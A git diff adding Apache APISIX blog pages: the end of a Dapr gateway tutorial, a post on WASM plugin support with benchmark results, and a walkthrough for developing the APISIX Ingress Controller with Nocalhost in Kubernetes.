+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="json"><code><span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#7EE787"> "nodes"</span><span style="color:#E6EDF3">: [</span></span>
+<span class="line"><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#7EE787"> "host"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"apisix-gateway-dapr"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "port"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">3500</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "weight"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">1</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3"> ],</span></span>
+<span class="line"><span style="color:#7EE787"> "retries"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">1</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "timeout"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#7EE787"> "connect"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">6</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "read"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">6</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "send"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">6</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#7EE787"> "type"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"roundrobin"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "scheme"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"http"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "pass_host"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"pass"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "name"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"apisix-dapr"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>Then configure the Apache APISIX service apisix-gateway-dapr, and select apisix-dapr for the upstream service.</p>
+<p><img src="https://static.apiseven.com/202108/1638855804018-094559fd-a1df-4184-becd-9bfbf0018339.png" alt="Configuration service"></p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="json"><code><span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#7EE787"> "name"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"apisix-gateway-dapr"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "upstream_id"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"376187148778341098"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<h3 id="step-5-deploy-the-test-sample-project">Step 5: Deploy the test sample project</h3>
+<p><a href="https://httpbin.org/">HTTPBin</a> is a tool written in Python+Flask that covers various HTTP scenarios and returns to each interface. Next, we’ll use kennethreitz/httpbin as a sample project for demonstration purposes.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> apply</span><span style="color:#79C0FF"> -f</span><span style="color:#A5D6FF"> 01.namespace.yaml</span></span>
+<span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> apply</span><span style="color:#79C0FF"> -f</span><span style="color:#A5D6FF"> 02.deployment.yaml</span></span>
+<span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> apply</span><span style="color:#79C0FF"> -f</span><span style="color:#A5D6FF"> 03.svc.yaml</span></span></code></pre>
+<p><img src="https://static.apiseven.com/202108/1638855818560-9ae75e39-9ed2-4796-a9eb-ebf66b07c1e5.png" alt="Project configuration"></p>
+<p>The image above shows a hypothetical microservice running with the Dapr app-id kennethreitz-httpbin.</p>
+<h4 id="path-matching-rewrites">Path Matching Rewrites</h4>
+<p>Here we add some settings related to path matching. For example, if the request gateway is /httpbin/, the backend receive path should be /, with httpbin acting as a service name identifier.</p>
+<p><img src="https://static.apiseven.com/202108/1638855827906-2aafa04c-a00c-4d41-aeb2-663c1f999dcd.png" alt="Interpretation"></p>
+<p>On hosted platforms that support namespaces, the Dapr application ID is in a valid FQDN format, which includes the target namespace. For example, the following string contains the application ID (svc-kennethreitz-httpbin) and the namespace the application is running in (kind-test).</p>
+<p>Finally, you can see if the proxy was successful by visiting: <a href="http://20.195.90.43/httpbin/get">http://20.195.90.43/httpbin/get</a>.</p>
+<p><img src="https://static.apiseven.com/202108/1637119221100-13997340-dfb6-45fb-abba-4215e0318238.png" alt="Check proxy"></p>
+<h2 id="additional-notes">Additional Notes</h2>
+<p>Of course, you can also deploy Apache APISIX and APISIX Ingress Controller directly in Kubernetes using the official Apache APISIX Helm repository, which allows you to directly use Apache APISIX as a gateway to the APISIX Ingress Controller data plane to carry business traffic. This allows you to directly use Apache APISIX as a gateway to carry business traffic on the data plane of the APISIX Ingress Controller.</p>
+<p>Finally, Dapr is injected into the Apache APISIX Proxy Pod via Sidecar annotations, and the microservices in the cluster are invoked through the service invocation module to achieve complete process deployment.</p>
+<h3 id="deleting-apache-apisix-controller">Deleting Apache APISIX Controller</h3>
+<p>If you want to delete the Apache APISIX controller at the end of the project, you can follow the command below (remember not to forget to delete the namespace ingress-apisix created before).</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> delete</span><span style="color:#A5D6FF"> apisix</span><span style="color:#79C0FF"> -n</span><span style="color:#A5D6FF"> ingress-apisix</span></span></code></pre> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class [...]
\ No newline at end of file
diff --git a/blog/2021/11/19/apisix-supports-wasm/index.html b/blog/2021/11/19/apisix-supports-wasm/index.html
new file mode 100644
index 00000000000..e6767d2de1a
--- /dev/null
+++ b/blog/2021/11/19/apisix-supports-wasm/index.html
@@ -0,0 +1,259 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX embraces the WASM ecosystem | Apache APISIX</title><meta name="description" content="This article introduces why the cloud native API gateway Apache APISIX chooses Proxy Wasm for its functionality and how to use Wasm in Apache APISIX."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/ [...]
+<p>Support for WASM will be added in the upcoming Apache APISIX version (2.11.0)! By reading this article you will learn how Apache APISIX deploys the support and development of this feature from 0 to 1.</p>
+</blockquote>
+<!--truncate-->
+<p>In the upcoming release of Apache APISIX 2.11.0, we will add support for WASM! You can develop plugins in WASM, Lua, Java, Go, Python, JavaScript with Apache APISIX 2.11.0.</p>
+<p><img src="https://static.apiseven.com/202108/1637289637179-ab74d38f-acd4-4401-908f-e1d310a33583.png" alt="Support WASM"></p>
+<p>WASM, known as <a href="https://webassembly.org/">WebAssembly</a>, differs from the specific programming language runtimes mentioned above, is a set of bytecode standards specifically designed to be used nested in a host environment.
+If a programming language provides the ability to compile to WASM bytecode, applications written in that language can be compiled to WASM bytecode and run in some WASM-enabled host environment.</p>
+<p>Doesn’t it sound like you can run any application like an operating system as long as the host environment supports WASM?</p>
+<p>But there is a limitation here. Just like an operating system needs to implement a specific standard syscall, in order to run a specific application, you need to implement the API required for that application.</p>
+<p>Take JavaScript for example, although it is also JavaScript code, JS modules written for browsers can’t be used directly in npm packages, because the APIs are different.</p>
+<p>So just putting WASM into Apache APISIX doesn’t work. To allow developers to run WASM on Apache APISIX, we also need to provide a special API.</p>
+<h2 id="why-proxy-wasm">Why Proxy WASM</h2>
+<p>We weighed two options on how to provide this API.</p>
+<ol>
+<li>Implement the corresponding WASM version of the API by referring to the lua-nginx-module interface</li>
+<li>Implement Proxy WASM as a set of standards</li>
+</ol>
+<p><a href="https://github.com/proxy-wasm/spec">Proxy WASM</a> is Envoy’s WASM API standard. So the above question is really equivalent to, do we make our own API standard or do we reuse Envoy’s existing standard?</p>
+<blockquote>
+<p>The WASM API standard can be broken down into two aspects:
+1. Host, which is responsible for providing the implementation of the API
+2. SDK, which is responsible for implementing a set of glue layers in a different programming language in order to call the provided APIs in that language</p>
+</blockquote>
+<p>If we follow Envoy’s standards, the advantage is that we can reuse Envoy’s existing WASM SDK (Proxy WASM SDK), while the disadvantage is that this set of standards is developed by Envoy in conjunction with its own situation, and if we follow the implementation, tailoring it to meet our own demands is difficult.</p>
+<p>After some community discussion, we finally decided to adopt the Proxy WASM standard. “Doing the hard and right thing” is naturally the hard thing to do, but we believe it is the right thing to do, and through community collaboration and building together, we can build a more prosperous ecosystem.</p>
+<h2 id="how-to-use-wasm-in-apache-apisix">How to use WASM in Apache APISIX</h2>
+<p>Apache APISIX now has initial support for WASM, which can be used to write parts of the fault-injection plugin. You can try it in Apache APISIX 2.11.0 at the end of this month, so stay tuned!</p>
+<p>In the following, we will talk about how to use WASM to inject custom responses in conjunction with <a href="https://github.com/tetratelabs/proxy-wasm-go-sdk/">proxy-wasm-go-sdk</a>.</p>
+<h3 id="step-1-write-code-based-on-proxy-wasm-go-sdk">Step 1: Write code based on proxy-wasm-go-sdk</h3>
+<p>The implementation code (including go.mod and others) can be found at <a href="https://github.com/apache/apisix/tree/master/t/wasm">here</a>.</p>
+<p>It should be explained that although the proxy-wasm-go-sdk project carries the Go name, it actually uses tinygo instead of native Go, which has some problems supporting WASI (which you can think of as a non-browser WASM runtime interface), see <a href="https://github.com/tetratelabs/proxy-wasm-go-sdk/blob/main/doc/OVERVIEW.md#tinygo-vs-the-official-go-compiler">here</a> for more details.</p>
+<h3 id="step-2-build-the-corresponding-wasm-file">Step 2: Build the corresponding WASM file</h3>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">tinygo</span><span style="color:#A5D6FF"> build</span><span style="color:#79C0FF"> -o</span><span style="color:#A5D6FF"> ./fault-injection/main.go.wasm</span><span style="color:#79C0FF"> -scheduler=none</span><span style="color:#79C0FF"> -target=wasi</span><span style="color:#A5D6FF"> ./fault- [...]
+<h3 id="step-3-refer-to-this-file-in-configyaml-in-apache-apisix">Step 3: Refer to this file in <code>config.yaml</code> in Apache APISIX</h3>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">apisix</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#79C0FF"> ...</span></span>
+<span class="line"><span style="color:#7EE787">wasm</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> plugins</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">wasm_fault_injection</span></span>
+<span class="line"><span style="color:#7EE787"> priority</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">7997</span></span>
+<span class="line"><span style="color:#7EE787"> file</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">t/wasm/fault-injection/main.go.wasm</span></span></code></pre>
+<p>By doing so, you can use this WASM plugin as if it were a Lua plugin. For example:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#79C0FF">---</span></span>
+<span class="line"><span style="color:#7EE787">uri</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"/wasm"</span></span>
+<span class="line"><span style="color:#7EE787">plugins</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> wasm_fault_injection</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> conf</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">'{"body":"hello world", "http_status":200}'</span></span>
+<span class="line"><span style="color:#7EE787">upstream</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> type</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">roundrobin</span></span>
+<span class="line"><span style="color:#7EE787"> nodes</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> 127.0.0.1:1980</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">1</span></span></code></pre>
+<p>Note that the configuration of the WASM plugin is a string under the conf field, which is parsed by the corresponding plugin itself.</p>
+<h2 id="cross-sectional-evaluation">Cross-sectional evaluation</h2>
+<p>Apache APISIX has evolved to the point where there are three ways to write plugins:</p>
+<ol>
+<li>Native Lua way, running inside of APISIX.</li>
+<li>External plugin runner for multiple languages, where the plugin logic runs outside of APISIX.</li>
+<li>Compile multiple languages into WASM, still running inside of APISIX.</li>
+</ol>
+<p><img src="https://static.apiseven.com/202108/1637289637159-f2fd1f09-4be6-4cd4-88a0-9c3a23c4f405.png" alt="APISIX ecosystem">
+These three approaches are very different in various aspects such as ecology and maturity. It just so happens that we can use them all for fault-injection, so we can compare them.</p>
+<h3 id="step-1-configure-routing">Step 1: Configure Routing</h3>
+<p>The Lua way of fault-injection, naturally, uses the built-in fault-injection plugin.The Runner way fault-injection implementation can be found <a href="https://github.com/apache/apisix-go-plugin-runner/blob/master/cmd/go-runner/plugins/fault_injection.go">here</a>.</p>
+<p>Let’s configure different routes for each of them.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#79C0FF">---</span></span>
+<span class="line"><span style="color:#7EE787">uri</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"/wasm"</span></span>
+<span class="line"><span style="color:#7EE787">plugins</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> wasm_fault_injection</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> conf</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">'{"body":"hello world", "http_status":200}'</span></span>
+<span class="line"><span style="color:#7EE787">upstream</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> type</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">roundrobin</span></span>
+<span class="line"><span style="color:#7EE787"> nodes</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> 127.0.0.1:1980</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">1</span></span>
+<span class="line"><span style="color:#79C0FF">---</span></span>
+<span class="line"><span style="color:#7EE787">plugins</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> ext-plugin-pre-req</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> conf</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">fault-injection</span></span>
+<span class="line"><span style="color:#7EE787"> value</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">'{"body":"hello world", "http_status":200}'</span></span>
+<span class="line"><span style="color:#7EE787">upstream</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> nodes</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> 127.0.0.1:1980</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">1</span></span>
+<span class="line"><span style="color:#7EE787"> type</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">roundrobin</span></span>
+<span class="line"><span style="color:#7EE787">uri</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">/ext-plugin</span></span>
+<span class="line"><span style="color:#79C0FF">---</span></span>
+<span class="line"><span style="color:#7EE787">plugins</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> fault-injection</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> abort</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> body</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">hello world</span></span>
+<span class="line"><span style="color:#7EE787"> http_status</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">200</span></span>
+<span class="line"><span style="color:#7EE787">upstream</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> nodes</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> 127.0.0.1:1980</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">1</span></span>
+<span class="line"><span style="color:#7EE787"> type</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">roundrobin</span></span>
+<span class="line"><span style="color:#7EE787">uri</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">/fault-injection</span></span></code></pre>
+<h3 id="step-2-the-actual-pressure-test">Step 2: The actual pressure test</h3>
+<p>Next, try to use wrk pressure. The specific data comparison is shown in the following chart:</p>
+<table>
+ <tbody><tr>
+ <td colspan="3">¥ wrk -d 30 -t 5 -c 50 http://127.0.0.1:9080/wasm | Running 30s test @ http://127.0.0.1:9080/wasm | 5 threads and 50 connections</td>
+ </tr>
+ <tr>
+ <td><b>Thread Stats</b></td>
+ <td><b>Latency</b></td>
+ <td><b>Req/Sec</b></td>
+ </tr>
+ <tr>
+ <td><b>Avg</b></td>
+ <td>66.17ms</td>
+ <td>7.01k</td>
+ </tr>
+ <tr>
+ <td><b>Sdev</b></td>
+ <td>226.42ms</td>
+ <td>3.09k</td>
+ </tr>
+ <tr>
+ <td><b>Max</b></td>
+ <td>1.99s</td>
+ <td>33.97k</td>
+ </tr>
+ <tr>
+ <td><b>+/- Stdev</b></td>
+ <td>91.89%</td>
+ <td>82.28%</td>
+ </tr>
+ <tr>
+ <td><b>Request details</b></td>
+ <td colspan="2">650497 requests in 36.33s, 119.70MB read</td>
+ </tr>
+ <tr>
+ <td><b>Socket errors</b></td>
+ <td colspan="2">connect 0, read 0, write 0, timeout 63</td>
+ </tr>
+ <tr>
+ <td><b>Request/sec</b></td>
+ <td colspan="2">17903.17</td>
+ </tr>
+ <tr>
+ <td><b>Transfer/sec</b></td>
+ <td colspan="2">3.29MB</td>
+ </tr>
+</tbody></table>
+<table>
+ <tbody><tr>
+ <td colspan="3">¥ wrk -d 30 -t 5 -c 50 http://127.0.0.1:9080/ext-plugin | Running 30s test @ http://127.0.0.1:9080/ext-plugin | 5 threads and 50 connections</td>
+ </tr>
+ <tr>
+ <td><b>Thread Stats</b></td>
+ <td><b>Latency</b></td>
+ <td><b>Req/Sec</b></td>
+ </tr>
+ <tr>
+ <td><b>Avg</b></td>
+ <td>95.69ms</td>
+ <td>3.23k</td>
+ </tr>
+ <tr>
+ <td><b>Sdev</b></td>
+ <td>229.09ms</td>
+ <td>1.47k</td>
+ </tr>
+ <tr>
+ <td><b>Max</b></td>
+ <td>1.70s</td>
+ <td>15.18k</td>
+ </tr>
+ <tr>
+ <td><b>+/- Stdev</b></td>
+ <td>87.37%</td>
+ <td>83.89%</td>
+ </tr>
+ <tr>
+ <td><b>Request details</b></td>
+ <td colspan="2">362151 requests in 30.50s, 66.64MB read</td>
+ </tr>
+ <tr>
+ <td><b>Socket errors</b></td>
+ <td colspan="2">connect 0, read 0, write 0, timeout 17</td>
+ </tr>
+ <tr>
+ <td><b>Request/sec</b></td>
+ <td colspan="2">11873.12</td>
+ </tr>
+ <tr>
+ <td><b>Transfer/sec</b></td>
+ <td colspan="2">2.18MB</td>
+ </tr>
+</tbody></table>
+<table>
+ <tbody><tr>
+ <td colspan="3">¥ wrk -d 30 -t 5 -c 50 http://127.0.0.1:9080/fault-injection | Running 30s test @ http://127.0.0.1:9080/fault-injection | 5 threads and 50 connections</td>
+ </tr>
+ <tr>
+ <td><b>Thread Stats</b></td>
+ <td><b>Latency</b></td>
+ <td><b>Req/Sec</b></td>
+ </tr>
+ <tr>
+ <td><b>Avg</b></td>
+ <td>86.91ms</td>
+ <td>7.90k</td>
+ </tr>
+ <tr>
+ <td><b>Sdev</b></td>
+ <td>263.14ms</td>
+ <td>2.04k</td>
+ </tr>
+ <tr>
+ <td><b>Max</b></td>
+ <td>1.91s</td>
+ <td>15.60k</td>
+ </tr>
+ <tr>
+ <td><b>+/- Stdev</b></td>
+ <td>90.73%</td>
+ <td>81.97%</td>
+ </tr>
+ <tr>
+ <td><b>Request details</b></td>
+ <td colspan="2">974326 requests in 30.07s, 179.29MB read</td>
+ </tr>
+ <tr>
+ <td><b>Socket errors</b></td>
+ <td colspan="2">connect 0, read 0, write 0, timeout 8</td>
+ </tr>
+ <tr>
+ <td><b>Request/sec</b></td>
+ <td colspan="2">32405.28</td>
+ </tr>
+ <tr>
+ <td><b>Transfer/sec</b></td>
+ <td colspan="2">5.96MB</td>
+ </tr>
+</tbody></table>
+<p>As you can see from the results, the performance of the WASM version is somewhere between that of the external plugin and the native Lua.</p>
+<p>The reason why the WASM version performs so much better than the external plugin is that the fault-injection functionality is simple, so the performance loss caused by the external plugin RPC is too obvious. Considering that we haven’t made any optimizations to the WASM implementation, we are satisfied with this situation.</p>
+<p>Another benefit of WASM is that we have multilingual support at once (thanks to the Proxy WASM SDK). Details can be found in the following documentation:</p>
+<ul>
+<li><a href="https://gist.github.com/spacewander/0357198ea21e022003c407fd23155f79">Fault-injection(Rust)</a></li>
+<li><a href="https://gist.github.com/spacewander/64773a706f1dc758aecc7f28aff7555d">Fault-injection(AssemblyScript)</a></li>
+</ul>
+<h2 id="advantages-and-disadvantages">Advantages and disadvantages</h2>
+<p>With all these benefits of WASM, aren’t you a bit excited? But it is not a perfect solution at the moment, WASM/Proxy WASM still has some immature areas. For example:</p>
+<ul>
+<li><strong>Programming language support to be improved</strong>: native Go’s WASM support is mainly based on the browser environment, so we had to use tinygo to implement it. However, tinygo is a young project and still has a lot of limitations.</li>
+<li><strong>Proxy WASM ecosystem needs to be mature</strong>: AssemblyScript version of the fault injection implementation, and there is no JSON decode part. This is because the AssemblyScript SDK is based on AssemblyScript version 0.14.x, and several open-source AssemblyScript JSON libraries are implemented for higher versions of AssemblyScript, and can not be used on the older AssemblyScript 0.14.</li>
+<li><strong>WASM doesn’t have a built-in concurrent process</strong>: WASM does not have a built-in concurrent process, so it cannot be scheduled by the host’s scheduling system.</li>
+</ul>
+<p>While there are several shortcomings listed above, we believe the future of this technology stack is bright:</p>
+<ol>
+<li>Open source projects, including Apache APISIX and Envoy, have a strong interest in WASM, and there are many startups and large enterprises adding to the WASM ecosystem, which means that difficulties such as the stagnant AssemblyScript SDK will only be temporary. In the long run, the Proxy WASM ecosystem will flourish.</li>
+<li>WASM has a bright future as the darling of serverless and edge computing. The implementation and optimization of many practical scenarios will solve the technical deficiencies more quickly.</li>
+</ol>
+<h2 id="come-and-join-the-project">Come and join the project</h2>
+<p>Apache APISIX is a project that keeps up with the technology trend, Apache APISIX support for WASM is a long-term process.</p>
+<p>“A journey of a thousand miles begins with a single step”,Apache APISIX has launched the <a href="https://github.com/api7/wasm-nginx-module">wasm-nginx-module</a> open source project to support WASM.</p>
+<p>Interested readers can follow the progress of the project, we look forward to your joining us and creating the world’s top projects together.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https:/ [...]
\ No newline at end of file
diff --git a/blog/2021/11/22/develop-apisix-ingress-with-nocalhost-in-kubernetes/index.html b/blog/2021/11/22/develop-apisix-ingress-with-nocalhost-in-kubernetes/index.html
new file mode 100644
index 00000000000..5e2c808022d
--- /dev/null
+++ b/blog/2021/11/22/develop-apisix-ingress-with-nocalhost-in-kubernetes/index.html
@@ -0,0 +1,93 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Develop APISIX Ingress Controller with Nocalhost in K8s | Apache APISIX</title><meta name="description" content="This article introduces the use of Nocalhost to seamlessly connect a local development machine to a remote K8s and develop and debug APISIX Ingress Controller with IDE."><meta name="robots" content="index,follow"><link rel="canonical" href="htt [...]
+<p>This article walks you through using Nocalhost to seamlessly connect your local development machine to a remote Kubernetes cluster, allowing you to use IDE to develop and debug Apache APISIX Ingress Controller. Giving you the ability to comfortably develop and debug your remote apps with your existing skills.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="prerequisites">Prerequisites</h2>
+<ul>
+<li>Prepare an available Kubernetes cluster in your workstation. You can use any Kubernetes clusters that you have namespace admin privilege.</li>
+<li><a href="https://helm.sh">Helm v3.0+</a> installed</li>
+<li>GoLand IDE 2020.03+ (Use GoLand 2021.2 in this article)</li>
+<li><a href="https://nocalhost.dev/docs/installation#install-jetbrains-plugin">Install Nocalhost JetBrains plugin</a></li>
+<li>Install <a href="https://golang.org/dl/">Go 1.13</a> or later</li>
+</ul>
+<h2 id="deploy-apache-apisix-ingress-controller">Deploy Apache APISIX Ingress Controller</h2>
+<p>I’m going to deploy Apache APISIX Ingress Controller by Nocalhost within GoLand:</p>
+<ol>
+<li>
+<p>Open the Nocalhost plugin within GoLand</p>
+</li>
+<li>
+<p>Use the cluster inspector to select the namespace that you want to deploy.</p>
+</li>
+<li>
+<p>Right-click the selected namespace, choose <strong><code>Deploy Application</code></strong>, and select <strong><code>Helm Repo</code></strong> as installation method.</p>
+</li>
+<li>
+<p>In the following dialog box, input:</p>
+<ol>
+<li><code>apisix-ingress-controller</code> as <code>Name</code></li>
+<li><code>https://charts.apiseven.com</code> as <code>Chart URL</code></li>
+</ol>
+</li>
+</ol>
+<p><img src="https://static.apiseven.com/202108/1637131316244-f1a58c88-8628-4918-a4c4-1ad287742fd0.gif" alt="Deploy APISIX ingress controller"></p>
+<p>Let’s test the <code>apisix-ingress-controller</code> after deployment by enable the port-forwarding within IDE:</p>
+<ol>
+<li>Find the <code>apisix-ingress-controller</code> workload in the cluster inspector, right-click and select the <strong><code>Port Forward</code></strong></li>
+<li>Add the port-forwarding <code>8080:8080</code></li>
+<li>Visiting the <a href="http://127.0.0.1:8080/healthz"><code>http://127.0.0.1:8080/healthz</code></a> in local and check the result</li>
+</ol>
+<p><img src="https://static.apiseven.com/202108/1637131450462-842c3baf-b7a4-4598-be0b-27486bf1cf28.gif" alt="APISIX Ingress test"></p>
+<h2 id="developing">Developing</h2>
+<h3 id="step-1-start-devmode">Step 1: Start DevMode</h3>
+<ol>
+<li>Right-click the deployment <code>apisix-ingress-controller</code> in cluster inspector, select <strong><code>Start DevMode</code></strong></li>
+<li>Choose your source code directory if you have already cloned in local, or let Nocalhost clone the source code for you by entering the <strong>apache/apisix-ingress-controller</strong> <a href="https://github.com/apache/apisix-ingress-controller.git">repository URL</a></li>
+<li>Wait for the operations, Nocalhost will open the remote terminal within IDE after entering DevMode</li>
+</ol>
+<p>Now start the <code>apisix-ingress-controller</code> process by entering the following command in the remote terminal:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="bash"><code><span class="line"><span style="color:#FFA657">go</span><span style="color:#A5D6FF"> run</span><span style="color:#A5D6FF"> main.go</span><span style="color:#A5D6FF"> ingress</span><span style="color:#79C0FF"> --config-path</span><span style="color:#A5D6FF"> conf/config-default.yaml</span></span></code></pre>
+<p>After the <code>apisix-ingress-controller</code> has started, access the service by visiting <a href="http://127.0.0.1:8080/healthz"><code>http://127.0.0.1:8080/healthz</code></a> on local and check the result.</p>
+<p><img src="https://static.apiseven.com/202108/1637131513751-b9184c10-4da3-4ab2-b403-56ae2360704a.gif" alt="Enter DevMode"></p>
+<h3 id="step-2-change-code-and-check-result">Step 2: Change code and check result</h3>
+<p>Now I will make some code changes and check the result.</p>
+<ol>
+<li>Stop the <code>apisix-ingress-controller</code> process</li>
+<li>Search <code>healthz</code> and find the <code>router.go</code> file. Change the <code>healthzResponse</code> status code from <code>ok</code> to <code>Hello Nocalhost</code></li>
+<li>Start the process again and check the change result in local</li>
+</ol>
+<p><img src="https://static.apiseven.com/202108/1637131699629-a0766f66-0faa-4bf8-9013-284e5f2bdd57.gif" alt="Code change"></p>
+<h3 id="step-3-end-devmode">Step 3. End DevMode</h3>
+<p>Now close the development window and end DevMode.</p>
+<ol>
+<li>Right-click the <code>apisix-ingress-controller</code> in the cluster inspector</li>
+<li>Select <strong><code>End DevMode</code></strong></li>
+</ol>
+<p>Nocalhost will make <code>apisix-ingress-controller</code> end development mode, and reset the <code>apisix-ingress-controller</code> Pod to its original version. Enable the port-forwarding and check the result after ending DevMode.</p>
+<p><img src="https://static.apiseven.com/202108/1637131766524-dba7b756-ae0b-42d1-8ff0-6ac14059ce11.gif" alt="End DevMode"></p>
+<p><strong>Code Change</strong>: All code changes in development mode will <strong>only take effect</strong> in the development container.</p>
